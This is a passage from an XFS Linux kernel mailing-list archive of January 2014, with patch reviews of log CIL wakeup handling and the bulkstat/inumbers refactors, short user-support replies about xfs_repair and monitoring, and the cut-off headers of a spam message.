lockless: > When attaching the IO completion callback to icl og, we assert the iclog > state to be XLOG_STATE_ACTIVE or XLOG_STATE_WANT_SYNC, but in the other > place where we also try to get the ic_callback_lock, i.e, > xlog_state_do_callback(), we only perform callbacks for iclogs that in > XLOG_STATE_DONE_SYNC or in XLOG_STATE_DO_CALLBACK, so they're already > prevented from the potential race situations, am I understood correctly? > > Also, it seems like the iclog->ic_callback_tail can go away as well, > since it only serves as a left value. > Oh, no! I took ic_callback_tail wrong... It's used to attach func to the tail of callback list. But IMHO, since it seems like the current code only attach one callback to iclog (xlog_cil_committed()), the only "iclog->ic_callback" could handle it if no more callbacks would be added in the future... Thanks, -Jeff From tinguely@sgi.com Fri Jan 3 09:30:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C31E87F3F for ; Fri, 3 Jan 2014 09:30:42 -0600 (CST) Received: from [134.15.0.185] (cf-sslvpn-0-185.corp.sgi.com [134.15.0.185]) by relay1.corp.sgi.com (Postfix) with ESMTP id 581888F8033; Fri, 3 Jan 2014 07:30:39 -0800 (PST) Message-ID: <52C6D79E.6050103@sgi.com> Date: Fri, 03 Jan 2014 09:30:38 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.2) Gecko/20120216 Thunderbird/10.0.2 MIME-Version: 1.0 To: Jeff Liu CC: Dave Chinner , "xfs@oss.sgi.com" Subject: Re: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing References: <52B98292.5040002@oracle.com> <52C18F56.70709@sgi.com> <52C4286C.5040007@oracle.com> <20140102004503.GN20579@dastard> <52C69035.7010606@oracle.com> <52C6B86C.6060407@oracle.com> In-Reply-To: <52C6B86C.6060407@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 1/3/2014 7:17 AM, Jeff Liu wrote: > On 01/03 2014 18:25 PM, Jeff Liu wrote: >> On 01/02 2014 08:45, Dave Chinner wrote: >>> On Wed, Jan 01, 2014 at 10:38:36PM +0800, Jeff Liu wrote: >>>> On 12/30 2013 23:20 PM, Mark Tinguely wrote: >>>>> On 12/24/13 06:48, Jeff Liu wrote: >>>>>> From: Jie Liu >>>>>> >>>>>> I can easily to hit a hang up while running fsstress and shutting down >>>>>> XFS on SSD via the tests below: >>>> >>>>>> Task1 Task2 >>>>>> >>>>>> list_add(&ctx->committing,&cil->xc_committing); >>>>>> >>>>>> xlog_wait(&cil->xc_commit_wait..) >>>>>> schedule()... >>>>>> >>>>>> Aborting!! list_del(&ctx->committing); >>>>>> wake_up_all(&cil->xc_commit_wait);<-- MISSING! >>>>>> >>>>>> As a result, we should handle this situation in xlog_cil_committed(). >>>>>> >>>>>> Signed-off-by: Jie Liu >>>>>> --- >>>>>> fs/xfs/xfs_log_cil.c | 2 ++ >>>>>> 1 file changed, 2 insertions(+) >>>>>> >>>>>> diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c >>>>>> index 5eb51fc..8c7e9c7 100644 >>>>>> --- a/fs/xfs/xfs_log_cil.c >>>>>> +++ b/fs/xfs/xfs_log_cil.c >>>>>> @@ -406,6 +406,8 @@ xlog_cil_committed( >>>>>> >>>>>> spin_lock(&ctx->cil->xc_push_lock); >>>>>> list_del(&ctx->committing); >>>>>> + if (abort) >>>>>> + wake_up_all(&ctx->cil->xc_commit_wait); >>>>>> spin_unlock(&ctx->cil->xc_push_lock); >>>>>> >>>>>> xlog_cil_free_logvec(ctx->lv_chain); >>>>> Hi Jeff, I hope you had a good break, >>>> Thanks :) >>>>> So you are saying the wakeup in the CIL push error path missing? >>>> Yes. >>>> >>>>> I agree with that. But I don't like adding a new wake up to >>>>> xlog_cil_committed(), which is after the log buffer is written. >>> Hi Mark, any particular reason why you don't like this? It would be >>> great if you could explain why you don't like something up front so >>> we don't have to guess at your reasons or wait for another round My concern is consistency, with the patch there will be two paths that could do the wake up. Originally, the wakeup happened before the iclog write. With the patch, if the cil push sequence successfully wrote it's ticket, woke up the waiters, wrote back the iclog, and then had an error writing the iclog, it would wakeup the xc_commit_wait a second time. Not too drastic of a problem, because the zeroed commit_lsn will prevent an premature write of the next cil push. I just prefer to handle the error in the cil push routine and avoid a second form of wake up. --Mark. From sandeen@sandeen.net Fri Jan 3 12:25:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7F37D7F3F for ; Fri, 3 Jan 2014 12:25:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0B6ABAC003 for ; Fri, 3 Jan 2014 10:24:58 -0800 (PST) X-ASG-Debug-ID: 1388773495-04bdf00fe24819c0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id URMxHNgMF8V1ZVpN for ; Fri, 03 Jan 2014 10:24:55 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 06CCC6088CFE; Fri, 3 Jan 2014 12:24:54 -0600 (CST) Message-ID: <52C70076.3090004@sandeen.net> Date: Fri, 03 Jan 2014 12:24:54 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Emmanuel Florac , Rotem Ben Arye , xfs@oss.sgi.com Subject: Re: XFS File System Monitor References: <201401021304.s02D4Agc028655@m2c-new.corp.sgi.com> <20140102142755.3659bd42@harpe.intellique.com> X-ASG-Orig-Subj: Re: XFS File System Monitor In-Reply-To: <20140102142755.3659bd42@harpe.intellique.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1388773495 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143695 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On 1/2/14, 7:27 AM, Emmanuel Florac wrote: > Le Thu, 2 Jan 2014 15:20:58 +0200 > Rotem Ben Arye crivait: > >> HI , I'm not sure it will help here, we are working central storage >> with Netapp , EMC and others , >> The Using of XFS File system on volume , is expressed with an >> creation of XFS, as e.g : mkfs.xfs. >> My question about what are the tools that could assist us to monitor >> XFS file system was in general. > > Rotem, if you have no SGI supported hardware, SGI support won't help > you. > > Furthermore, it's impossible to help you without more details: what is > the hardware setup, the exact OS version and linux kernel in use. > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F -Eric From sandeen@sandeen.net Fri Jan 3 12:29:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 64F8C7F3F for ; Fri, 3 Jan 2014 12:29:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4C67C8F8033 for ; Fri, 3 Jan 2014 10:29:46 -0800 (PST) X-ASG-Debug-ID: 1388773784-04bdf00fe0481d90001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id h6Ghgozub2hHdI9B for ; Fri, 03 Jan 2014 10:29:44 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 8E8FE6088CFE; Fri, 3 Jan 2014 12:29:44 -0600 (CST) Message-ID: <52C70198.6090106@sandeen.net> Date: Fri, 03 Jan 2014 12:29:44 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: =?ISO-8859-1?Q?Bj=F6rn_Rafreider?= , "xfs@oss.sgi.com" Subject: Re: Bug - xfs_repair asks me to report it References: <7ED0247242FEFB40BCA665733E613DCA0640C14C985D@V4SERVER.v4.local> X-ASG-Orig-Subj: Re: Bug - xfs_repair asks me to report it In-Reply-To: <7ED0247242FEFB40BCA665733E613DCA0640C14C985D@V4SERVER.v4.local> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1388773784 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143695 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/27/13, 6:42 AM, Bjrn Rafreider wrote: > Hi, > over christmas our backup system with XFS on LVM2 on iSCSI on Ubuntu 12.04.03 gave me several errors. Turned out, that the XFS was halted because of an error. XFS_repair fixed several errors but finally quit with the following error message: > > corrupt dinode 3328159430, extent total = 1, nblocks = 0. This is a bug. > Please capture the filesystem metadata with xfs_metadump and > report it to xfs@oss.sgi.com. > cache_node_purge: refcount was 1, not zero (node=0x1b928ab0) > > fatal error -- couldn't map inode 3328159430, err = 117 > > the dump is running at the moment - but it already has 5G - little too big for sending it by mail so I add a little more information the metadump should compress quite well, for what it's worth. Can you try? -Eric From bfoster@redhat.com Fri Jan 3 14:53:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 70CD97F3F for ; Fri, 3 Jan 2014 14:53:06 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 55764304067 for ; Fri, 3 Jan 2014 12:53:06 -0800 (PST) X-ASG-Debug-ID: 1388782382-04cbb04166b945f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6N7jqC7irCJbs5tv for ; Fri, 03 Jan 2014 12:53:02 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s03Kr0nW022858 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Jan 2014 15:53:00 -0500 Received: from laptop.bfoster (vpn-53-154.rdu2.redhat.com [10.10.53.154]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s03Kqxsd017075 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 3 Jan 2014 15:53:00 -0500 Message-ID: <52C7232B.3050807@redhat.com> Date: Fri, 03 Jan 2014 15:52:59 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Jeff Liu , "xfs@oss.sgi.com" Subject: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation References: <52BEB3E7.2080706@oracle.com> X-ASG-Orig-Subj: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation In-Reply-To: <52BEB3E7.2080706@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1388782382 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/28/2013 06:20 AM, Jeff Liu wrote: > From: Jie Liu > > In xfs_bulkstat_single(), xfs_bulkstat_one() and xfs_bulkstat() might > return different error if either call failed, we'd better return the > proper error in this case. Moreover, the function argument done is > useless in terms of xfs_ioc_bulkstat(), hence we can get rid of it. > > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_ioctl.c | 3 +-- > fs/xfs/xfs_itable.c | 59 ++++++++++++++++++++++++++--------------------------- > fs/xfs/xfs_itable.h | 3 +-- > 3 files changed, 31 insertions(+), 34 deletions(-) > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 33ad9a7..2fdd750 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -828,8 +828,7 @@ xfs_ioc_bulkstat( > error = xfs_inumbers(mp, &inlast, &count, > bulkreq.ubuffer, xfs_inumbers_fmt); > else if (cmd == XFS_IOC_FSBULKSTAT_SINGLE) > - error = xfs_bulkstat_single(mp, &inlast, > - bulkreq.ubuffer, &done); > + error = xfs_bulkstat_single(mp, &inlast, bulkreq.ubuffer); > else /* XFS_IOC_FSBULKSTAT */ > error = xfs_bulkstat(mp, &inlast, &count, xfs_bulkstat_one, > sizeof(xfs_bstat_t), bulkreq.ubuffer, > diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c > index b5bb7b6..692671c 100644 > --- a/fs/xfs/xfs_itable.c > +++ b/fs/xfs/xfs_itable.c > @@ -509,51 +509,50 @@ xfs_bulkstat( > } > > /* > - * Return stat information in bulk (by-inode) for the filesystem. > - * Special case for non-sequential one inode bulkstat. > + * Return stat information in bulk (by-inode) for the filesystem. Special case > + * for non-sequential one inode bulkstat. > */ > -int /* error status */ > +int > xfs_bulkstat_single( > - xfs_mount_t *mp, /* mount point for filesystem */ > + struct xfs_mount *mp, /* mount point for filesystem */ > xfs_ino_t *lastinop, /* inode to return */ > - char __user *buffer, /* buffer with inode stats */ > - int *done) /* 1 if there are more stats to get */ > + char __user *buffer) /* buffer with inode stats */ > { > - int count; /* count value for bulkstat call */ > - int error; /* return value */ > - xfs_ino_t ino; /* filesystem inode number */ > + xfs_ino_t ino = *lastinop; > int res; /* result from bs1 */ > + int error; > > /* > - * note that requesting valid inode numbers which are not allocated > + * Note that requesting valid inode numbers which are not allocated > * to inodes will most likely cause xfs_imap_to_bp to generate warning > - * messages about bad magic numbers. This is ok. The fact that > - * the inode isn't actually an inode is handled by the > - * error check below. Done this way to make the usual case faster > - * at the expense of the error case. > + * messages about bad magic numbers. This is ok. The fact that the > + * inode isn't actually an inode is handled by the error check below. > + * Done this way to make the usual case faster at the expense of the > + * error case. > */ > - > - ino = *lastinop; > - error = xfs_bulkstat_one(mp, ino, buffer, sizeof(xfs_bstat_t), > + error = xfs_bulkstat_one(mp, ino, buffer, sizeof(struct xfs_bstat), > NULL, &res); > if (error) { > + int count = 1; > + int done, error2; > + > /* > - * Special case way failed, do it the "long" way > - * to see if that works. > + * Special case way failed, do it the "long" way to see if > + * that works. > */ > (*lastinop)--; > - count = 1; > - if (xfs_bulkstat(mp, lastinop, &count, xfs_bulkstat_one, > - sizeof(xfs_bstat_t), buffer, done)) > - return error; > - if (count == 0 || (xfs_ino_t)*lastinop != ino) > - return error == EFSCORRUPTED ? > - XFS_ERROR(EINVAL) : error; > - else > - return 0; > + error2 = xfs_bulkstat(mp, lastinop, &count, xfs_bulkstat_one, > + sizeof(struct xfs_bstat), buffer, &done); > + if (error2) > + return error2; > + > + if (count == 0 || *lastinop != ino) { > + if (error == EFSCORRUPTED) > + error = XFS_ERROR(EINVAL); > + } > } > - *done = 0; > - return 0; > + > + return error; Here it looks like you return an error value if the initial xfs_bulkstat_one() fails and the fallback xfs_bulkstat() succeeds. Brian > } > > int > diff --git a/fs/xfs/xfs_itable.h b/fs/xfs/xfs_itable.h > index 97295d9..60ce988 100644 > --- a/fs/xfs/xfs_itable.h > +++ b/fs/xfs/xfs_itable.h > @@ -54,8 +54,7 @@ int > xfs_bulkstat_single( > xfs_mount_t *mp, > xfs_ino_t *lastinop, > - char __user *buffer, > - int *done); > + char __user *buffer); > > typedef int (*bulkstat_one_fmt_pf)( /* used size in bytes or negative error */ > void __user *ubuffer, /* buffer to write to */ > From bfoster@redhat.com Fri Jan 3 14:53:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 311B37F3F for ; Fri, 3 Jan 2014 14:53:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 125E9304043 for ; Fri, 3 Jan 2014 12:53:58 -0800 (PST) X-ASG-Debug-ID: 1388782436-04cb6c537db9da20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id piQ5GGCwdt4F50ek for ; Fri, 03 Jan 2014 12:53:57 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s03Krtgc014421 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Jan 2014 15:53:55 -0500 Received: from laptop.bfoster (vpn-53-154.rdu2.redhat.com [10.10.53.154]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s03Krsmx028741 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 3 Jan 2014 15:53:55 -0500 Message-ID: <52C72362.2000005@redhat.com> Date: Fri, 03 Jan 2014 15:53:54 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Jeff Liu , "xfs@oss.sgi.com" Subject: Re: [PATCH 3/10] xfs: consolidate xfs_inumbers References: <52BEB3FA.5080402@oracle.com> X-ASG-Orig-Subj: Re: [PATCH 3/10] xfs: consolidate xfs_inumbers In-Reply-To: <52BEB3FA.5080402@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1388782437 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/28/2013 06:20 AM, Jeff Liu wrote: > From: Jie Liu > > To fetch the file system number tables, we currently just ignore the > errors and proceed to loop over the next AG or bump agino to the next > chunk in case of btree operations failed, that is not properly because > those errors might hint us potential file system problems. > > This patch rework xfs_inumbers() to handle the btree operation errors > as well as the loop conditions. Also, add pre-checkups for the given > inode, we can save alloc/free the format buffer once against an invalid > inode number. > > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_itable.c | 163 +++++++++++++++++++++++----------------------------- > 1 file changed, 72 insertions(+), 91 deletions(-) > > diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c > index 692671c..4d262f6 100644 > --- a/fs/xfs/xfs_itable.c > +++ b/fs/xfs/xfs_itable.c > @@ -558,12 +558,12 @@ xfs_bulkstat_single( > int > xfs_inumbers_fmt( > void __user *ubuffer, /* buffer to write to */ > - const xfs_inogrp_t *buffer, /* buffer to read from */ > + const struct xfs_inogrp *buffer, /* buffer to read from */ > long count, /* # of elements to read */ > long *written) /* # of bytes written */ > { > if (copy_to_user(ubuffer, buffer, count * sizeof(*buffer))) > - return -EFAULT; > + return XFS_ERROR(EFAULT); > *written = count * sizeof(*buffer); > return 0; > } > @@ -573,121 +573,102 @@ xfs_inumbers_fmt( > */ > int /* error status */ > xfs_inumbers( > - xfs_mount_t *mp, /* mount point for filesystem */ > - xfs_ino_t *lastino, /* last inode returned */ > - int *count, /* size of buffer/count returned */ > - void __user *ubuffer,/* buffer with inode descriptions */ > - inumbers_fmt_pf formatter) > + struct xfs_mount *mp,/* mount point for filesystem */ > + xfs_ino_t *lastino,/* last inode returned */ > + int *count,/* size of buffer/count returned */ > + void __user *ubuffer,/* buffer with inode desc */ > + inumbers_fmt_pf formatter) > { > - xfs_buf_t *agbp; > - xfs_agino_t agino; > - xfs_agnumber_t agno; > - int bcount; > - xfs_inogrp_t *buffer; > - int bufidx; > - xfs_btree_cur_t *cur; > - int error; > - xfs_inobt_rec_incore_t r; > - int i; > - xfs_ino_t ino; > - int left; > - int tmp; > - > - ino = (xfs_ino_t)*lastino; > - agno = XFS_INO_TO_AGNO(mp, ino); > - agino = XFS_INO_TO_AGINO(mp, ino); > - left = *count; > + xfs_agnumber_t agno = XFS_INO_TO_AGNO(mp, *lastino); > + xfs_agino_t agino = XFS_INO_TO_AGINO(mp, *lastino); > + int left = *count; > + struct xfs_btree_cur *cur = NULL; > + struct xfs_buf *agbp = NULL; > + struct xfs_inogrp *buffer; > + int bcount; > + int bufidx; > + int error; > + > *count = 0; > + if (agno >= mp->m_sb.sb_agcount || > + *lastino != XFS_AGINO_TO_INO(mp, agno, agino)) > + return 0; > + > bcount = MIN(left, (int)(PAGE_SIZE / sizeof(*buffer))); > buffer = kmem_alloc(bcount * sizeof(*buffer), KM_SLEEP); > - error = bufidx = 0; > - cur = NULL; > - agbp = NULL; > - while (left > 0 && agno < mp->m_sb.sb_agcount) { > - if (agbp == NULL) { > + bufidx = error = 0; > + do { > + struct xfs_inobt_rec_incore r; > + int stat; > + > + if (!agbp) { > error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); > - if (error) { > - /* > - * If we can't read the AGI of this ag, > - * then just skip to the next one. > - */ > - ASSERT(cur == NULL); > - agbp = NULL; > - agno++; > - agino = 0; > - continue; > - } > + if (error) > + break; > cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); > - error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, > - &tmp); > - if (error) { > - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); > - cur = NULL; > - xfs_buf_relse(agbp); > - agbp = NULL; > - /* > - * Move up the last inode in the current > - * chunk. The lookup_ge will always get > - * us the first inode in the next chunk. > - */ > - agino += XFS_INODES_PER_CHUNK - 1; > - continue; > - } > } > - error = xfs_inobt_get_rec(cur, &r, &i); > - if (error || i == 0) { > - xfs_buf_relse(agbp); > - agbp = NULL; > - xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); > - cur = NULL; > - agno++; > - agino = 0; > - continue; > + error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &stat); > + if (error) > + break; Isn't this lookup only needed after cursor initialization? i.e., we lookup once and increment through the records via xfs_btree_increment() below. > + if (!stat) { > + /* Done, proceed to look up the next AG */ > + goto next_ag; > } > + > + error = xfs_inobt_get_rec(cur, &r, &stat); > + if (error) > + break; > + XFS_WANT_CORRUPTED_GOTO(stat == 1, error0); > + > agino = r.ir_startino + XFS_INODES_PER_CHUNK - 1; > buffer[bufidx].xi_startino = > XFS_AGINO_TO_INO(mp, agno, r.ir_startino); > buffer[bufidx].xi_alloccount = > XFS_INODES_PER_CHUNK - r.ir_freecount; > buffer[bufidx].xi_allocmask = ~r.ir_free; > - bufidx++; > - left--; > - if (bufidx == bcount) { > - long written; > - if (formatter(ubuffer, buffer, bufidx, &written)) { > - error = XFS_ERROR(EFAULT); > + if (++bufidx == bcount) { > + long written; > + error = formatter(ubuffer, buffer, bufidx, &written); > + if (error) > break; > - } > ubuffer += written; > *count += bufidx; > bufidx = 0; > } > - if (left) { > - error = xfs_btree_increment(cur, 0, &tmp); > - if (error) { > - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); > - cur = NULL; > - xfs_buf_relse(agbp); > - agbp = NULL; > - /* > - * The agino value has already been bumped. > - * Just try to skip up to it. > - */ > - agino += XFS_INODES_PER_CHUNK; > - continue; > - } > + if (!--left) > + break; > + > + error = xfs_btree_increment(cur, 0, &stat); > + if (error) > + break; > + if (stat) { > + /* > + * The agino value has already been bumped, just try > + * to skip up to it. > + */ > + agino += XFS_INODES_PER_CHUNK; > + continue; > } Maybe it's just me, but this reads a little funny to me. In particular because we only get here if stat == 1. I wonder if this would look a bit cleaner if we pulled the next_ag labeled block below up into the goto, since that appears to be the only reference. Then just let the loop fall through. Also, I think the agino addition here becomes unnecessary when the lookup issue above is addressed. > - } > + > +next_ag: > + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); > + cur = NULL; > + xfs_buf_relse(agbp); > + agbp = NULL; > + agino = 0; > + } while (++agno < mp->m_sb.sb_agcount); > + ... and just thinking about the logic that way highlights the bug here, where we bump agno due to the continue above (where IIUC, we intend to only move forward within the ag). Perhaps the ++agno should be part of the broken off 'next_ag' logic as well. Brian > if (!error) { > if (bufidx) { > - long written; > - if (formatter(ubuffer, buffer, bufidx, &written)) > - error = XFS_ERROR(EFAULT); > - else > + long written; > + error = formatter(ubuffer, buffer, bufidx, &written); > + if (!error) > *count += bufidx; > } > *lastino = XFS_AGINO_TO_INO(mp, agno, agino); > } > + > +error0: > kmem_free(buffer); > if (cur) > xfs_btree_del_cursor(cur, (error ? XFS_BTREE_ERROR : > From sven.daffner@seode.org Fri Jan 3 17:11:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C56567F3F for ; Fri, 3 Jan 2014 17:11:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B112F304053 for ; Fri, 3 Jan 2014 15:11:16 -0800 (PST) X-ASG-Debug-ID: 1388790671-04cb6c537eba3f50001-NocioJ Received: from seode.org (ip-89-207-132-151.amsterdam.s-goliath.secureserving.net [89.207.132.151]) by cuda.sgi.com with ESMTP id 4KrVKq6IwleA6uif for ; Fri, 03 Jan 2014 15:11:12 -0800 (PST) X-Barracuda-Envelope-From: sven.daffner@seode.org X-Barracuda-Apparent-Source-IP: 89.207.132.151 Date: Fri, 3 Jan 2014 23:09:05 +0000 To: xfs@oss.sgi.com From: Sven Daffner Subject: Linkvorschlag (Angebot) X-Priority: 3 X-ASG-Orig-Subj: Linkvorschlag (Angebot) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_ac0d111dac45293c080f8dbfcf71f714" X-Barracuda-Connect: ip-89-207-132-151.amsterdam.s-goliath.secureserving.net[89.207.132.151] X-Barracuda-Start-Time: 1388790671 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of 